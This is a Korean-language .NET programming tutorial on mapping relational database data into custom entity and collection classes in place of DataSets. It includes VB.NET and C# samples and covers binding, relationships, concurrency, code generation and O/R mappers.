앞에서 언급했듯이 이 접근 방식의 한 가지 큰 난제는 관계형 데이터와 개체 간의 차이를 처리하는 것입니다. 관계형 데이터베이스에는 데이터가 영구적으로 저장되기 때문에 두 영역을 연결하는 것 외에 다른 선택은 없습니다. 앞의User예제에서 예상되는 데이터베이스의 사용자 테이블 모양은 다음과 같습니다.

그림 2. User의 데이터 뷰

이 관계형 스키마에서 사용자 지정 엔터티로 매핑하는 작업은 다음과 같이 매우 간단하게 이루어집니다.

'Visual Basic .NETPublic Function GetUser(ByVal userId As Integer) As User Dim connection As New SqlConnection(CONNECTION_STRING) Dim command As New SqlCommand("GetUserById", connection) command.Parameters.Add("@UserId", SqlDbType.Int).Value = userId Dim dr As SqlDataReader = Nothing Try  connection.Open()  dr = command.ExecuteReader(CommandBehavior.SingleRow)  If dr.Read Then   Dim user As New User   user.UserId = Convert.ToInt32(dr("UserId"))   user.UserName = Convert.ToString(dr("UserName"))   user.Password = Convert.ToString(dr("Password"))   Return user  End If  Return Nothing Finally  If Not dr is Nothing AndAlso Not dr.IsClosed Then   dr.Close()  End If  connection.Dispose()  command.Dispose()  End TryEnd Function//C#public User GetUser(int userId) { SqlConnection connection = new SqlConnection(CONNECTION_STRING); SqlCommand command = new SqlCommand("GetUserById", connection); command.Parameters.Add("@UserId", SqlDbType.Int).Value = userId; SqlDataReader dr = null; try {  connection.Open();  dr = command.ExecuteReader(CommandBehavior.SingleRow);  if (dr.Read()){   User user = new User();   user.UserId = Convert.ToInt32(dr["UserId"]);   user.UserName = Convert.ToString(dr["UserName"]);   user.Password = Convert.ToString(dr["Password"]);   return user;              }  return null; }finally{  if (dr != null && !dr.IsClosed){   dr.Close();  }  connection.Dispose();  command.Dispose(); }}

connection 및 command 개체는 여전히 평소와 마찬가지로 설정하지만User클래스의 새로운 인스턴스를 만들고DataReader에서 이를 채웁니다. 또한 이 함수 내에서 계속해서DataSet를 사용하여 이를 사용자 지정 엔터티에 매핑할 수 있지만DataReader에 대한DataSet의 주된 이점은 연결이 끊어진 데이터 뷰를 제공한다는 것입니다. 이 경우User인스턴스는 이처럼 연결이 끊어진 뷰를 제공하여DataReader의 속도를 활용할 수 있게 해줍니다.

잠깐, 아직 아무 것도 해결되지 않았습니다!

주의 깊은 독자라면DataSet에 대해 지적한 문제 중 한 가지가 강력한 형식이 아닌 관계로 생산성이 떨어지고 런타임 오류 발생 가능성이 높은 점이라는 것을 알 수 있습니다. 또한 개발자들은 기본 데이터 구조에 대해 세부적인 지식을 갖추고 있어야 합니다. 앞의 코드를 보면 이와 똑같은 함정이 숨어 있음을 알 수 있을 것입니다. 그러나 이러한 문제들은 완전히 격리된 코드 영역에 캡슐화되어 있으므로 클래스 엔터티(웹 인터페이스, 웹 서비스 소비자 및 Windows Form)의 소비자는 이러한 문제를 완전히 알 수 없다는 점을 고려해야 합니다. 이와 반대로DataSet를 사용하면 코드 전체에 이러한 문제가 확산됩니다.

향상 부분

앞의 코드는 매핑 개념을 설명하기 위한 것으로, 두 가지 주요 부분을 향상시켜 이를 개선할 수 있습니다. 첫째, 채우기 코드를 자체 함수로 끌어내어 재사용이 쉽도록 합니다.

'Visual Basic .NETPublic Function PopulateUser(ByVal dr As IDataRecord) As User Dim user As New User user.UserId = Convert.ToInt32(dr("UserId")) 'NULL 검사 예제 If Not dr("UserName") Is DBNull.Value Then  user.UserName = Convert.ToString(dr("UserName")) End If user.Password = Convert.ToString(dr("Password")) Return userEnd Function//C#public User PopulateUser(IDataRecord dr) { User user = new User(); user.UserId = Convert.ToInt32(dr["UserId"]); //NULL 검사 예제 if (dr["UserName"] != DBNull.Value){  user.UserName = Convert.ToString(dr["UserName"]);    } user.Password = Convert.ToString(dr["Password"]); return user;}(참고: 프로그래머 코멘트는 샘플 프로그램 파일에는 영문으로 제공되며 기사에는

설명을 위해 번역문으로 제공됩니다.)

두 번째로 확인할 사항은 매핑 함수에SqlDataReader를 사용하는 대신IDataRecord를 사용했다는 점입니다. 이것은 모든DataReader가 구현하는 인터페이스입니다.IDataRecord를 사용하면 매핑 프로세스를 공급업체와 무관하게 실행할 수 있습니다. 즉, 앞의 함수가OleDbDataReader를 사용하더라도 이를 통해 Access 데이터베이스에서User를 매핑할 수 있습니다. 이러한 특정 접근 방식과 Provider Model Design Pattern(링크 1 

 

)을 조합하면 서로 다른 데이터베이스 공급업체에 대해 손쉽게 사용할 수 있는 코드를 얻게 됩니다.

마지막으로 위의 코드는 캡슐화가 얼마나 강력한지를 보여 줍니다.DataSet의NULL을 처리하기가 쉽지 않은 이유는 값을 추출할 때마다NULL인지 확인해야 하기 때문입니다. 우리는 위의 채우기 메서드를 사용해 이를 단일 위치에서 편리하게 관리하여 소비자가 이를 직접 처리해야 하는 수고를 덜어주었습니다.

매핑 위치

이러한 데이터 액세스 및 매핑 함수가 개별 클래스의 일부인지 아니면 해당 사용자 엔터티의 일부인지에 대한 논란이 일부에서 제기되고 있습니다. 모든 사용자 관련 작업(데이터 얻기, 업데이트 및 매핑)을User사용자 지정 엔터티의 일부로 사용하면 확실한 이점을 얻을 수 있습니다. 이러한 특성은 데이터베이스 스키마가 사용자 지정 엔터티와 매우 비슷한 경우에 확실한 효과를 나타냅니다(이 예제에서처럼). 시스템의 복잡성이 늘어나면서 두 영역 간의 차이가 드러나기 시작함에 따라 데이터 계층과 비즈니스 계층을 명확하게 구분하면 유지 관리를 단순화하는 데 큰 도움이 될 수 있습니다(이를 데이터 액세스 계층이라고 함). 자체 계층인 DAL 내에 액세스 및 매핑 코드를 두었을 때 얻어지는 부수적인 효과는 다음과 같은 명확한 계층 분리를 위한 훌륭한 규칙을 제공한다는 점입니다.

"System.Data에서 클래스를 반환하거나 DAL에서 자식 네임스페이스를 반환해서는 안 됩니다."

사용자 지정 컬렉션

지금까지는 개별 엔터티를 처리하는 부분만 살펴보았지만 단일 개체를 둘 이상 처리해야 하는 경우도 비일비재할 것입니다. 이를 위한 단순한 솔루션은Arraylist같은 일반적인 컬렉션 내에 여러 값을 저장하는 것입니다. 하지만DataSet에 대해 겪었던 다음과 같은 몇 가지 문제를 다시 유발하므로 이상적인 솔루션이라고 하기에는 부족합니다.

• 강력한 형식이 아니며
• 사용자 지정 동작을 추가할 수 없습니다.

여기서의 요구에 가장 적합한 솔루션은 사용자 지정 컬렉션을 만드는 것입니다. 다행히도 Microsoft .NET Framework는 다음과 같이 이를 위해 상속하도록 설계된 클래스인CollectionBase를 제공합니다.CollectionBase는 전용Arraylists내에 모든 개체 형식을 저장하지만User개체 같은 특정 형식만 사용하는 메서드를 통해 이들 전용 컬렉션에 대한 액세스를 노출하는 방식으로 작동합니다. 즉, 약한 형식의 코드가 강력한 형식의 API 내에 캡슐화되는 것입니다.

사용자 지정 컬렉션은 코드가 많은 것처럼 보이지만 대부분은 코드 생성 또는 잘라내기 및 붙여넣기를 쉽게 수행할 수 있으며 찾아서 바꾸기는 한 번만 수행하면 되는 경우가 많습니다. 다음과 같이User클래스의 사용자 지정 컬렉션을 구성하는 다양한 부분을 살펴보겠습니다.

'Visual Basic .NETPublic Class UserCollection   Inherits CollectionBase Default Public Property Item(ByVal index As Integer) As User  Get   Return CType(List(index), User)  End Get  Set   List(index) = value  End Set End Property Public Function Add(ByVal value As User) As Integer  Return (List.Add(value)) End Function Public Function IndexOf(ByVal value As User) As Integer  Return (List.IndexOf(value)) End Function Public Sub Insert(ByVal index As Integer, ByVal value As User)  List.Insert(index, value) End Sub Public Sub Remove(ByVal value As User)  List.Remove(value) End Sub Public Function Contains(ByVal value As User) As Boolean  Return (List.Contains(value)) End FunctionEnd Class//C#public class UserCollection : CollectionBase { public User this[int index] {  get {return (User)List[index];}  set {List[index] = value;} } public int Add(User value) {  return (List.Add(value)); } public int IndexOf(User value) {  return (List.IndexOf(value)); } public void Insert(int index, User value) {  List.Insert(index, value); } public void Remove(User value) {  List.Remove(value); } public bool Contains(User value) {  return (List.Contains(value)); }}

CollectionBase를 구현하면 더 많은 작업을 수행할 수 있지만 여기서는 사용자 지정 컬렉션에 필요한 핵심 기능만을 나열했습니다.Add함수를 살펴보면User개체만 허용되는 함수에서List.Add(Arraylist)에 대한 호출을 어떤 방식으로 간단히 래핑하는지 알 수 있습니다.

사용자 지정 컬렉션 매핑

관계형 데이터를 사용자 지정 컬렉션에 매핑하는 프로세스는 사용자 지정 엔터티에 대해 살펴본 프로세스와 매우 유사합니다. 단일 엔터티를 만들어 반환하는 대신 컬렉션에 엔터티를 추가하고 다음 항목으로 반복합니다.

'Visual Basic .NETPublic Function GetAllUsers() As UserCollection Dim connection As New SqlConnection(CONNECTION_STRING) Dim command As New SqlCommand("GetAllUsers", connection) Dim dr As SqlDataReader = Nothing Try  connection.Open()  dr = command.ExecuteReader(CommandBehavior.SingleResult)  Dim users As New UserCollection  While dr.Read()   users.Add(PopulateUser(dr))  End While  Return users Finally  If Not dr Is Nothing AndAlso Not dr.IsClosed Then   dr.Close()  End If  connection.Dispose()  command.Dispose() End TryEnd Function//C#public UserCollection GetAllUsers() { SqlConnection connection = new SqlConnection(CONNECTION_STRING); SqlCommand command =new SqlCommand("GetAllUsers", connection); SqlDataReader dr = null; try {  connection.Open();  dr = command.ExecuteReader(CommandBehavior.SingleResult);  UserCollection users = new UserCollection();  while (dr.Read()){   users.Add(PopulateUser(dr));  }  return users; }finally{  if (dr != null && !dr.IsClosed){   dr.Close();  }  connection.Dispose();  command.Dispose(); }}

여기서는 데이터베이스에서 데이터를 가져오고 사용자 지정 컬렉션을 만들며 결과를 순환하여 각User개체를 만들고 이를 컬렉션에 추가합니다. 또한PopulateUser매핑 함수를 어떻게 재사용하는지 확인해 보십시오.

사용자 지정 동작 추가

사용자 지정 엔터티에 대해 설명할 때 사용자 지정 동작을 클래스에 추가하는 기능에 대해서는 피상적으로만 언급했습니다. 엔터티에 추가할 기능의 유형은 주로 구현하는 비즈니스 논리의 유형에 따라 달라지지만 몇 가지 일반 기능을 사용자 지정 컬렉션에 구현해야 할 수 있습니다. 이에 대한 한 가지 예는 일정한 키를 토대로 단일 엔터티를 반환하는 것인데 예를 들어userId를 기반으로 사용자를 반환할 수 있습니다.

'Visual Basic .NETPublic Function FindUserById(ByVal userId As Integer) As User For Each user As User In List  If user.UserId = userId Then   Return user  End If Next Return NothingEnd Function//C#public User FindUserById(int userId) { foreach (User user in List) {  if (user.UserId == userId){   return user;  } } return null;}

또 다른 예는 다음과 같이 부분 사용자 이름 등의 특정 기준을 토대로 사용자 하위 집합을 반환하는 것입니다.

'Visual Basic .NETPublic Function FindMatchingUsers(ByVal search As String)

As UserCollection If search Is Nothing Then  Throw New ArgumentNullException("search cannot be null") End If Dim matchingUsers As New UserCollection For Each user As User In List  Dim userName As String = user.UserName  If Not userName Is Nothing And userName.StartsWith(search) Then   matchingUsers.Add(user)  End If Next Return matchingUsersEnd Function//C#public UserCollection FindMatchingUsers(string search) { if (search == null){  throw new ArgumentNullException("search cannot be null"); } UserCollection matchingUsers = new UserCollection(); foreach (User user in List) {  string userName = user.UserName;  if (userName != null && userName.StartsWith(search)){   matchingUsers.Add(user);  } } return matchingUsers;}

DataSet를 사용하면DataTable.Select로도 동일한 방법을 수행할 수 있습니다. 자신의 기능을 만들면 코드를 완전히 제어할 수 있으며Select메서드는 매우 편리하고 자유로운 코딩 방식으로 이 기능을 제공합니다. 한편Select는 강력한 형식이 아니므로 이를 사용하려면 개발자가 기본 데이터베이스에 대해 알고 있어야 합니다.

사용자 지정 컬렉션 바인딩

우리가 살펴본 첫 번째 예제는DataSet를 ASP.NET 컨트롤에 바인딩한 것이었습니다. 이 작업이 상당히 자주 이루어진다는 점을 고려한다면 사용자 지정 컬렉션이 그만큼 쉽게 바인딩된다는 사실에 반가움을 느낄 것입니다(이는CollectionBase가 바인딩에 사용되는Ilist를 구현하기 때문임). 다음과 같이 사용자 지정 컬렉션은 이를 노출하는 모든 컨트롤에 대해DataSource역할을 수행할 수 있으며DataBinder.Eval은DataSet에서처럼 사용할 수 있습니다.

'Visual Basic .NETDim users as UserCollection = DAL.GetallUsers()repeater.DataSource = usersrepeater.DataBind()//C#UserCollection users = DAL.GetAllUsers();repeater.DataSource = users;repeater.DataBind();<!-- HTML --><asp:Repeater onItemDataBound="r_IDB" ID="repeater" Runat="server"> <ItemTemplate>  <asp:Label ID="userName" Runat="server">   <%# DataBinder.Eval(Container.DataItem, "UserName") %><br />  </asp:Label> </ItemTemplate></asp:Repeater>

열 이름을DataBinder.Eval의 두 번째 매개 변수로 사용하는 대신 표시할 속성 이름을 지정하며 이 경우에는UserName입니다.

많은 데이터 바인딩된 컨트롤에 의해 노출되는OnItemDataBound또는OnItemCreated에서 처리를 수행하는 경우e.Item.DataItem을DataRowView로 캐스팅할 수 있습니다. 다음과 같이 사용자 지정 컬렉션에 바인딩하는 경우e.Item.DataItem은 대신 사용자 지정 엔터티로 캐스팅하며 이 예제에서는User클래스입니다.

'Visual Basic .NETProtected Sub r_ItemDataBound (s As Object,

e As RepeaterItemEventArgs) Dim type As ListItemType = e.Item.ItemType If type = ListItemType.AlternatingItem OrElse    type = ListItemType.Item Then  Dim u As Label = CType(e.Item.FindControl("userName"), Label)Dim currentUser As User = CType(e.Item.DataItem, User)If Not PasswordUtility.PasswordIsSecure(currentUser.Password) Then   ul.ForeColor = Drawing.Color.Red  End If End IfEnd Sub//C#protected void r_ItemDataBound(object sender,

RepeaterItemEventArgs e) { ListItemType type = e.Item.ItemType; if (type == ListItemType.AlternatingItem ||      type == ListItemType.Item){  Label ul = (Label)e.Item.FindControl("userName");User currentUser = (User)e.Item.DataItem;if (!PasswordUtility.PasswordIsSecure(currentUser.Password)){   ul.ForeColor = Color.Red;  } }}

관계 관리

아무리 단순한 시스템이라도 엔터티 간에 관계가 존재하기 마련입니다. 관계형 데이터베이스의 관계는 외래 키를 통해 관리되며 개체를 사용하는 경우 관계는 다른 개체에 대한 참조에 해당합니다. 예를 들어 앞의 예제를 기반으로 설명하면User개체에 다음과 같은Role이 만들어질 것으로 예측할 수 있습니다.

'Visual Basic .NETPublic Class User Private _role As Role Public Property Role() As Role  Get   Return _role  End Get  Set(ByVal Value As Role)   _role = Value  End Set End PropertyEnd Class//C#public class User { private Role role; public Role Role {  get {return role;}  set {role = value;} }}

또는 다음과 같은Role의 컬렉션일 수도 있습니다.

'Visual Basic .NETPublic Class User Private _roles As RoleCollection Public ReadOnly Property Roles() As RoleCollection  Get   If _roles Is Nothing Then    _roles = New RoleCollection   End If   Return _roles  End Get End PropertyEnd Class//C#public class User { private RoleCollection roles; public RoleCollection Roles {  get {   if (roles == null){    roles = new RoleCollection();   }   return roles;  } }}

위의 두 예제에 사용된Role클래스 또는RoleCollection클래스는 가상의 것으로, 이는User및UserCollection클래스와 같이 사용자 지정 엔터티 또는 컬렉션 클래스의 하나 입니다.

관계 매핑

실질적인 문제는 관계를 매핑하는 방법에 있습니다. 간단한 예제를 살펴보고 역할과 함께userId를 기반으로 사용자를 검색하겠습니다. 먼저, 다음과 같은 관계형 모델을 살펴봅니다.

그림 3. Users 및 Roles 간의 관계

이제Users테이블과Roles테이블 모두 간단한 방식으로 사용자 지정 엔터티에 매핑할 수 있는지 확인해 보겠습니다. 여기에는Users와Roles사이에 다대다 관계를 나타내는UserRoleJoin테이블도 있습니다.

그런 다음 아래와 같이 저장 프로시저를 사용하여 두 개의 개별 결과를 가져오는데 다음과 같이 첫 번째는User용이고 두 번째는 사용자의Role을 위한 것입니다.

CREATE PROCEDURE GetUserById(  @UserId INT)ASSELECT UserId, UserName, [Password]  FROM Users  WHERE UserId = @UserIDSELECT R.RoleId, R.[Name], R.Code  FROM Roles R INNER JOIN     UserRoleJoin URJ ON R.RoleId = URJ.RoleId  WHERE  URJ.UserId = @UserId

마지막으로 다음과 같이 관계형 모델에서 개체 모델로 매핑합니다.

'Visual Basic .NETPublic Function GetUserById(ByVal userId As Integer) As User Dim connection As New SqlConnection(CONNECTION_STRING) Dim command As New SqlCommand("GetUserById", connection) command.Parameters.Add("@UserId", SqlDbType.Int).Value = userId Dim dr As SqlDataReader = Nothing Try  connection.Open()  dr = command.ExecuteReader()  Dim user As User = Nothing  If dr.Read() Then   user = PopulateUser(dr)   dr.NextResult()   While dr.Read()    user.Roles.Add(PopulateRole(dr))   End While  End If  Return user Finally  If Not dr Is Nothing AndAlso Not dr.IsClosed Then   dr.Close()  End If  connection.Dispose()  command.Dispose() End TryEnd Function//C#public User GetUserById(int userId) { SqlConnection connection = new SqlConnection(CONNECTION_STRING); SqlCommand command = new SqlCommand("GetUserById", connection); command.Parameters.Add("@UserId", SqlDbType.Int).Value = userId; SqlDataReader dr = null; try {  connection.Open();  dr = command.ExecuteReader();  User user = null;  if (dr.Read()){   user = PopulateUser(dr);   dr.NextResult();   while(dr.Read()){    user.Roles.Add(PopulateRole(dr));   }              }  return user; }finally{  if (dr != null && !dr.IsClosed){   dr.Close();  }  connection.Dispose();  command.Dispose(); }}

User인스턴스가 만들어져 채워지면 다음 결과로 이동하고 선택 및 순환하여Roles를 채우고 이를User클래스의RolesCollection속성에 추가합니다.

중급 단계

이 가이드의 목적은 사용자 지정 엔터티 및 컬렉션의 개념과 사용 방법을 소개하는 것입니다. 사용자 지정 엔터티의 사용은 업계에서 널리 사용되는 방식이며 그로 인해 다양한 시나리오를 처리하는 수많은 패턴이 문서화되어 있습니다. 디자인 패턴이 유용한 이유는 다양합니다. 첫째, 특정 상황을 처리하는 데 있어 아마 주어진 문제를 처음 겪지는 않을 것입니다. 디자인 패턴을 사용하면 이미 시도된, 그리고 테스트된 솔루션을 주어진 문제에 다시 사용할 수 있습니다(설계 패턴을 완전히 잘라내어 붙여넣을 수는 없지만 대개 솔루션을 위한 훌륭한 기초가 됩니다). 또한 널리 사용되는 접근 방식이고 체계적으로 문서화되어 있으므로 시스템을 복잡성의 정도에 따라 확장할 수 있다는 안정감을 느끼게 해줍니다. 디자인 패턴은 또한 일반적인 어휘를 제공하여 정보의 전달 및 교육이 매우 용이하게 이뤄질 수 있습니다.

물론 디자인 패턴은 사용자 지정 엔터티에만 적용되는 것이 아니며 실제로 다양한 분야에 사용됩니다. 하지만 사용자 지정 엔터티와 매핑 프로세스에 적용할 수 있는 문서화된 패턴이 얼마나 되는지 확인하면 깜짝 놀라게 될 것입니다.

이 마지막 섹션은 보다 크고 복잡한 시스템을 실행할 수 있는 일부 고급 시나리오를 설명하기 위한 것입니다. 대부분의 항목은 개별 가이드만으로 충분할 수 있지만 여기서는 최소한 몇 가지 시작 리소스를 제공할 예정입니다.

처음에 활용하기 좋은 자료로는 Martin Fowler의Patterns of Enterprise Application Architecture 

 

는 이미 개념에 친숙하지만 간단한 참조가 필요한 사람에게 유용합니다.

동시성

앞에서 소개한 예제들은 모두 데이터베이스에서 데이터를 가져오고 이 데이터에서 개체를 만드는 부분을 다루고 있습니다. 또한 대부분의 경우 데이터의 업데이트, 삭제 및 삽입이 간단히 이루어집니다. 여기서 소개한 비즈니스 계층은 개체를 만들고 이를 데이터 액세스 계층으로 전달하며 관계 영역에 대한 매핑을 처리합니다. 예를 들면 다음과 같습니다.

'Visual Basic .NETPublic sub UpdateUser(ByVal user As User) Dim connection As New SqlConnection(CONNECTION_STRING) Dim command As New SqlCommand("UpdateUser", connection) '역방향 맵핑을 위한 재사용 함수도 만들 수 있음 command.Parameters.Add("@UserId", SqlDbType.Int) command.Parameters(0).Value = user.UserId command.Parameters.Add("@Password", SqlDbType.VarChar, 64) command.Parameters(1).Value = user.Password command.Parameters.Add("@UserName", SqlDbType.VarChar, 128) command.Parameters(2).Value = user.UserName Try  connection.Open()  command.ExecuteNonQuery() Finally  connection.Dispose()  command.Dispose() End TryEnd Sub//C#public void UpdateUser(User user) { SqlConnection connection = new SqlConnection(CONNECTION_STRING); SqlCommand command = new SqlCommand("UpdateUser", connection); //역방향 맵핑을 위한 재사용 함수도 만들 수 있음 command.Parameters.Add("@UserId", SqlDbType.Int); command.Parameters[0].Value = user.UserId; command.Parameters.Add("@Password", SqlDbType.VarChar, 64); command.Parameters[1].Value = user.Password;  command.Parameters.Add("@UserName", SqlDbType.VarChar, 128); command.Parameters[2].Value = user.UserName; try {  connection.Open();  command.ExecuteNonQuery(); }finally{  connection.Dispose();  command.Dispose(); }}

그러나 동시성을 처리하는 경우는 간단하지 않습니다. 즉, 두 명의 사용자가 동시에 동일한 데이터를 업데이트하면 어떤 일이 발생할까요? 기본 동작(아무 것도 하지 않는 경우)은 데이터를 마지막으로 커밋한 사람이 이전의 모든 작업을 덮어쓰는 것입니다. 이러한 동작은 사용자 한 명의 작업을 자동으로 덮어쓰게 되므로 이상적이지는 않을 수 있습니다. 충돌을 완전히 피하는 한 가지 방법은 비관적 동시성을 사용하는 것이지만 이 방식을 사용하려면 확장 가능한 방식으로 구현하기 힘든 특정 유형의 잠금 메커니즘을 사용해야 합니다. 이에 대한 대안은 낙관적 동시성 기법을 사용하는 것입니다. 첫 번째 커밋에 우선 순위를 부여하고 이후의 사용자에게 알리는 것은 일반적으로 보다 순조롭고 사용자 친화적인 접근 방식입니다. 이를 위해 타임스탬프 같은 특정 유형의 행 버전 관리를 사용합니다.

참고 자료

• ADO.NET의 데이터 동시성 소개
• CSLA.NET's concurrency techniques 
  
• Unit of Work design pattern 
  
• Optimistic offline lock design pattern 
  
• Pessimistic offline lock design pattern 
  

성능

적절한 유연성 및 성능에 대한 염려와는 달리 사소한 성능 차이에 대해 걱정하는 경우가 너무나도 많습니다. 성능은 물론 중요하지만 가장 간단한 솔루션을 제외한 모든 부분에 대해 일반화된 지침을 제공하기란 어렵기 마련입니다. 사용자 지정 컬렉션과DataSet를 예로 들어봅시다. 어느 쪽이 더 빠를까요? 사용자 지정 컬렉션을 사용하면DataReader를 많이 사용하여 데이터베이스에서 데이터를 보다 신속하게 가져올 수 있습니다. 하지만 여기서 주의할 점은 이를 어떤 데이터 형식과 함께 어떻게 사용하느냐에 따라 해답이 달라지므로 포괄적인 설명은 아무런 소용이 없다는 것입니다. 보다 중요한 사항은 절감할 수 있는 처리 시간이 어느 정도이든 관계없이 관리 용이성과의 차이에 비해 그다지 많지 않을 것이라는 사실입니다.

물론 관리하기 용이한 고성능 솔루션을 가질 수 없다는 말은 아닙니다. 이를 사용하는 방법에 크게 좌우된다고 다시 말하지만 여기에는 성능을 극대화할 수 있는 몇 가지 패턴이 있습니다. 먼저 사용자 지정 엔터티 및 컬렉션 캐시와DataSet가HttpCache같은 동일한 메커니즘을 사용할 수 있다는 점을 알아야 합니다.DataSet의 한 가지 이점은Select문을 작성하여 필요한 정보만 포함시킬 수 있는 기능에 있습니다. 사용자 지정 엔터티를 사용하면 전체 엔터티와 자식 엔터티까지 모두 채워야 한다는 느낌을 받는 경우가 많습니다. 예를 들어DataSet를 사용하여Organization목록을 표시하려면OganizationId,Name및Address를 가져와 이를 반복기에 바인딩할 것입니다. 필자의 경우 사용자 지정 엔터티를 사용할 때 다른 모든Organization정보를 가져와야 할 것 같은 느낌까지 듭니다. 또한 이러한 정보에는 ISO 인증 여부, 모든 직원 컬렉션, 추가 연락처 정보 등이 포함될 수 있습니다. 다른 사람은 이러한 고민거리를 공유하지 않을 수도 있지만 다행히도 우리는 원하는 경우 사용자 지정 엔터티를 세부적으로 제어할 수 있습니다. 가장 일반적인 접근 방식은 처음 필요할 때만 정보를 가져오는 레이지 로드(lazy-load) 패턴 형식을 사용하는 것입니다(속성에 효과적으로 캡슐화할 수 있음). 개별 속성을 이런 방식으로 제어하면 다른 방식으로는 얻기 힘든 엄청난 유연성을 발휘하게 됩니다(DataColumn수준에서 유사한 작업을 수행한다고 가정해 보십시오).

참고 자료

• Lazy Load 
  
  디자인 패턴
• CSLA.NET lazy load 
  

정렬 및 필터링

DataView의 기본 정렬 및 필터링 지원은 SQL 및 기본 데이터 구조에 대해 알아야 한다는 단점은 있지만 편리한 기능이며 사용자 지정 컬렉션에는 없는 기능이기도 합니다. 정렬 및 필터링은 계속 수행할 수 있지만 이렇게 하려면 기능을 작성해야 합니다. 고급 기법이라고 할 수는 없지만 전체 데모 코드는 이 섹션의 범위를 벗어납니다. 하지만 필터 클래스로 필터링하거나 비교 클래스로 정렬하는 것 같은 대부분의 기법은 전과 상당히 비슷하며 분명 방법이 있습니다. 다음 리소스를 참조하십시오.

• Generic sort function 
  
• Sorting & Filtering Custom Collections 
  
  자습서

코드 생성

개념적인 문제를 지나쳤다면 사용자 지정 엔터티 및 컬렉션의 중요한 단점은 이러한 모든 유연성, 추상화 및 낮은 유지 관리 비용을 제공하는 추가 코드의 양을 들 수 있습니다. 실제로 지금까지 언급한 줄어든 유지 관리 비용과 버그보다 추가 코드가 더 부담스러울 수도 있습니다. 어떤 솔루션도 완벽하지는 않으므로 이것은 분명히 올바른 지적이지만 디자인 패턴 및 CSLA.NET 같은 프레임워크가 장기적으로 이러한 문제를 점차 완화하고 있습니다. 또한 패턴 및 프레임워크와는 별도로 코드 생성 도구가 실제로 작성하는 데 필요한 코드의 양을 현저히 줄여줄 수 있습니다. 이 가이드는 처음에 무료로 널리 사용되는 CodeSmith 같은 코드 생성 도구를 자세히 설명하려고 했지만 필자의 지식 범위를 넘어서는 너무 많은 리소스가 있어 제외하였습니다.

코드 생성이 마치 꿈 같은 일로 들릴 수도 있습니다. 그러나 적절히 사용하고 이해하면 사용자 지정 엔터티 뿐만 아니라 다른 분야에서도 강력한 무기가 될 수 있습니다. 코드 생성이 사용자 지정 엔터티에만 적용되는 것은 아니지만 대부분 이러한 목적으로만 조정되어 있습니다. 이유는 간단합니다. 사용자 지정 엔터티를 사용하려면 많은 양의 반복 코드가 필요하기 때문입니다.

간단히 말해 코드 생성은 어떤 식으로 작동할까요? 이러한 개념은 진로를 한참 벗어났거나 역효과를 나타내는 것처럼 들리겠지만 기본적으로는 코드(템플릿)를 작성하여 코드를 생성하게 됩니다. 예를 들어 CodeSmith는 다음과 같이 데이터베이스를 활용하고 모든 속성 즉, 테이블, 열(형식, 크기 등) 및 관계를 가져올 수 있게 해주는 강력한 클래스와 함께 제공됩니다. 이 정보를 적절히 활용하면 지금까지 언급한 내용의 대부분을 자동화할 수 있습니다. 예를 들어 개발자는 테이블을 선택하고 적절한 템플릿과 함께 자동으로 사용자 지정 엔터티(올바른 필드, 속성 및 생성자와 함께), 매핑 함수, 사용자 지정 컬렉션 그리고 기본적인 선택, 삽입, 업데이트 및 삭제 기능을 만들 수 있습니다. 또한 더 나아가 지금까지 다룬 정렬, 필터링 및 기타 고급 기능을 구현할 수 있습니다.

CodeSmith는 바로 사용할 수 있는 다양한 템플릿이 함께 제공되어 훌륭한 학습 리소스로 사용할 수도 있습니다. 마지막으로 CodeSmith에는 CSLA.NET 프레임워크를 구현하기 위한 다양한 템플릿이 들어 있습니다. 두어 시간 동안 처음에 기본 사항을 익히고 CodeSmith에 익숙해지자 막대한 시간을 절감하게 되었습니다. 또한 모든 개발자들이 동일한 템플릿을 사용하면 코드 전체에 높은 수준의 동시성이 나타나 다른 사람의 함수도 손쉽게 작업할 수 있습니다.

참고 자료

• Code Generation with CodeSmith 
  
• CodeSmith homepage 
  

O/R 매퍼

O/R 매퍼는 다뤄본 경험이 부족하기 때문에 언급하기가 꺼려지지만 잠재적인 가치는 무시할 수 없는 수준입니다. 코드 생성기가 소스 코드에 복사하여 붙여넣기 위한 템플릿을 기반으로 하는 코드를 만들면 O/R 매퍼는 몇 가지 유형의 구성 메커니즘에서 런타임에 코드를 동적으로 생성합니다. 예를 들어 XML 파일 내에서 일부 테이블의 열 X가 엔터티 속성 Y에 매핑되도록 지정할 수 있습니다. 사용자 지정 엔터티는 계속 만들지만 컬렉션, 매핑 및 다른 데이터 액세스 함수(저장 프로시저 포함)는 모두 동적으로 만들어집니다. 이론적으로 O/R 매퍼는 사용자 지정 엔터티의 문제를 거의 완전한 수준으로 완화합니다. 관계 및 개체 영역이 다양해지고 매핑 프로세스의 복잡성이 늘어남에 따라 O/R 매퍼의 중요성은 훨씬 더해가고 있습니다. O/R 매퍼의 두 가지 단점은 최소한 .NET 커뮤니티에서만큼은 보안과 성능 수준이 열악한 것으로 알려져 있다는 점입니다. 필자가 연구해 본 결과 보안 수준이 떨어지지 않을 뿐 아니라 일부 상황에서는 성능이 열악하게 나타날 수 있지만 다른 것들보다는 뛰어난 수준일 것입니다. O/R 매퍼가 모든 상황에 적합하지는 않지만 복잡한 시스템을 처리하고 있는 경우라면 한 번 살펴볼 가치가 충분합니다.

참고 자료

• Mapper 
  
  디자인 패턴
• Data Mapper 
  
  디자인 패턴
• Wilson ORMapper 
  
• Frans Bouma's O/R mapping posts 
  
• LLBGenPro 
  
• NHibernate 
  

.NET Framework 2.0 기능

앞으로 나올 .NET Framework 2.0 릴리스는 이 가이드에서 전체적으로 살펴본 몇 가지 구현 세부 사항이 변경될 예정입니다. 이러한 변화로 인해 사용자 지정 엔터티를 지원하는 데 필요한 코드의 양이 줄어드는 것은 물론 매핑 문제를 처리하는 데도 도움이 될 것으로 보입니다.

Generics

generics에 대해 자주 언급하는 한 가지 중요한 이유는 개발자에게 강력한 형식의 컬렉션을 제공하기 때문입니다.Arraylists같은 기존 컬렉션은 특성상 약한 형식으로 인해 외면 당했습니다. Generics는 현재의 컬렉션과 동일한 수준의 편의성을 강력한 형식으로 제공합니다. 이를 위해 선언 시에 형식을 지정해야 합니다. 예를 들어 다음과 같이 코드를 추가하지 않고UserCollection을 대체하며List<T>generic의 새 인스턴스를 만들고User클래스를 지정할 수 있습니다.

'Visual Basic .NETDim users as new IList(of User)//C#IList<User> users = new IList<user>();

선언된users컬렉션은User형식의 개체만 처리할 수 있어 컴파일 타임 검사 및 최적화의 모든 이점을 제공합니다.

참고 자료

• Introducing .NET Generics 
  
